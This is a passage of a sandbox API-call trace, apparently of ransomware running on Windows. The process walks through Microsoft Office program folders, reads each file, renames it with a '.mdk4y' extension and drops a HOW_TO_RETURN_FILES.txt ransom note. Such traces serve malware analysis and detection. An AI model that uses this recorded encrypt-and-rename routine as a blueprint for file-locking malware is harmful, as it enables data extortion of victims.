returned 1 [0206.074] AreFileApisANSI () returned 1 [0206.074] GetACP () returned 0x4e4 [0206.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FAXEXT.ECF", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FAXEXT.ECFmport.dll", lpUsedDefaultChar=0x37df4c) returned 10 [0206.074] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0206.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828130500000) returned 1 [0206.076] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x33e, lpOverlapped=0x0) returned 1 [0206.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828131900000) returned 1 [0206.090] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828132000000) returned 1 [0206.090] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf.mdk4y")) returned 1 [0206.091] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.091] AreFileApisANSI () returned 1 [0206.091] GetACP () returned 0x4e4 [0206.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOSEC.DLL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOSEC.DLL", lpUsedDefaultChar=0x37df4c) returned 10 [0206.091] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0206.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828132300000) returned 1 [0206.093] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c00, lpOverlapped=0x0) returned 1 [0206.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828132400000) returned 1 [0206.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828132500000) returned 1 [0206.095] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll.mdk4y")) returned 1 [0206.096] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.096] AreFileApisANSI () returned 1 [0206.096] GetACP () returned 0x4e4 [0206.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOSEC.XML", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOSEC.XML", lpUsedDefaultChar=0x37df4c) returned 10 [0206.096] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0206.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828132600000) returned 1 [0206.097] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb3, lpOverlapped=0x0) returned 1 [0206.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828132700000) returned 1 [0206.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828132700000) returned 1 [0206.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml.mdk4y")) returned 1 [0206.099] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.099] AreFileApisANSI () returned 1 [0206.099] GetACP () returned 0x4e4 [0206.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSPC.ECF", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSSPC.ECFL", lpUsedDefaultChar=0x37df4c) returned 9 [0206.099] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0206.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828132900000) returned 1 [0206.100] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30a, lpOverlapped=0x0) returned 1 [0206.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828133100000) returned 1 [0206.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828133100000) returned 1 [0206.101] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.mdk4y")) returned 1 [0206.102] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.102] AreFileApisANSI () returned 1 [0206.102] GetACP () returned 0x4e4 [0206.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="otkloadr_x64.dll", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="otkloadr_x64.dlldll", lpUsedDefaultChar=0x37df4c) returned 16 [0206.103] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.103] AreFileApisANSI () returned 1 [0206.103] GetACP () returned 0x4e4 [0206.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTEX.ECF", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTEX.ECFx64.dll", lpUsedDefaultChar=0x37df4c) returned 9 [0206.103] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0206.104] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828133400000) returned 1 [0206.104] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x786, lpOverlapped=0x0) returned 1 [0206.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828133600000) returned 1 [0206.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828133600000) returned 1 [0206.106] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.mdk4y")) returned 1 [0206.107] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.107] AreFileApisANSI () returned 1 [0206.107] GetACP () returned 0x4e4 [0206.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTEX2.ECF", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTEX2.ECF64.dll", lpUsedDefaultChar=0x37df4c) returned 10 [0206.107] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0206.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828133900000) returned 1 [0206.110] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x352, lpOverlapped=0x0) returned 1 [0206.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828134100000) returned 1 [0206.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828134100000) returned 1 [0206.112] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.mdk4y")) returned 1 [0206.113] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.113] AreFileApisANSI () returned 1 [0206.113] GetACP () returned 0x4e4 [0206.113] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLVBA.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLVBA.DLL4.dll", lpUsedDefaultChar=0x37df4c) returned 11 [0206.113] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0206.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828134400000) returned 1 [0206.114] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13b78, lpOverlapped=0x0) returned 1 [0206.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828136500000) returned 1 [0206.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828136500000) returned 1 [0206.137] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll.mdk4y")) returned 1 [0206.139] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.139] AreFileApisANSI () returned 1 [0206.139] GetACP () returned 0x4e4 [0206.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PMAILEXT.ECF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PMAILEXT.ECF.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0206.139] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0206.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828137000000) returned 1 [0206.140] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x272, lpOverlapped=0x0) returned 1 [0206.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828137100000) returned 1 [0206.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828137100000) returned 1 [0206.141] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.mdk4y")) returned 1 [0206.144] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0206.145] AreFileApisANSI () returned 1 [0206.145] GetACP () returned 0x4e4 [0206.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="UmOutlookAddin.dll", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="UmOutlookAddin.dlll", lpUsedDefaultChar=0x37df4c) returned 18 [0206.145] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0206.145] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0206.146] AreFileApisANSI () returned 1 [0206.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0206.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0206.147] GetFileType (hFile=0x12c) returned 0x1 [0206.148] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.148] AreFileApisANSI () returned 1 [0206.148] GetACP () returned 0x4e4 [0206.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ADVCMP.DIC", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ADVCMP.DIC", lpUsedDefaultChar=0x37dfd8) returned 10 [0206.148] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828138100000) returned 1 [0206.151] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0206.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828141200000) returned 1 [0206.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828141200000) returned 1 [0206.265] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic.mdk4y")) returned 1 [0206.315] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.315] AreFileApisANSI () returned 1 [0206.315] GetACP () returned 0x4e4 [0206.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ADVTEL.DIC", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ADVTEL.DIC", lpUsedDefaultChar=0x37dfd8) returned 10 [0206.315] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828154700000) returned 1 [0206.317] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0206.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828157900000) returned 1 [0206.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828157900000) returned 1 [0206.361] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic.mdk4y")) returned 1 [0206.363] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.363] AreFileApisANSI () returned 1 [0206.363] GetACP () returned 0x4e4 [0206.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ADVZIP.DIC", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ADVZIP.DIC", lpUsedDefaultChar=0x37dfd8) returned 10 [0206.363] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828159500000) returned 1 [0206.365] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0206.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828164500000) returned 1 [0206.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828164500000) returned 1 [0206.445] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic.mdk4y")) returned 1 [0206.447] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.447] AreFileApisANSI () returned 1 [0206.447] GetACP () returned 0x4e4 [0206.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AEC.DLL", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="AEC.DLLDIC", lpUsedDefaultChar=0x37dfd8) returned 7 [0206.447] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828167800000) returned 1 [0206.448] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0206.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828170400000) returned 1 [0206.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828170400000) returned 1 [0206.491] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll.mdk4y")) returned 1 [0206.492] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.492] AreFileApisANSI () returned 1 [0206.492] GetACP () returned 0x4e4 [0206.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AECUTILS.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="AECUTILS.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0206.492] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828172400000) returned 1 [0206.494] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xc2788, lpOverlapped=0x0) returned 1 [0206.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828176500000) returned 1 [0206.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828176500000) returned 1 [0206.541] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll.mdk4y")) returned 1 [0206.543] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0206.543] AreFileApisANSI () returned 1 [0206.543] GetACP () returned 0x4e4 [0206.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ASCIIENG.LNG", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ASCIIENG.LNG", lpUsedDefaultChar=0x37dfd8) returned 12 [0206.543] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0206.544] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828177400000) returned 1 [0206.544] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x46080, lpOverlapped=0x0) returned 1 [0206.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | 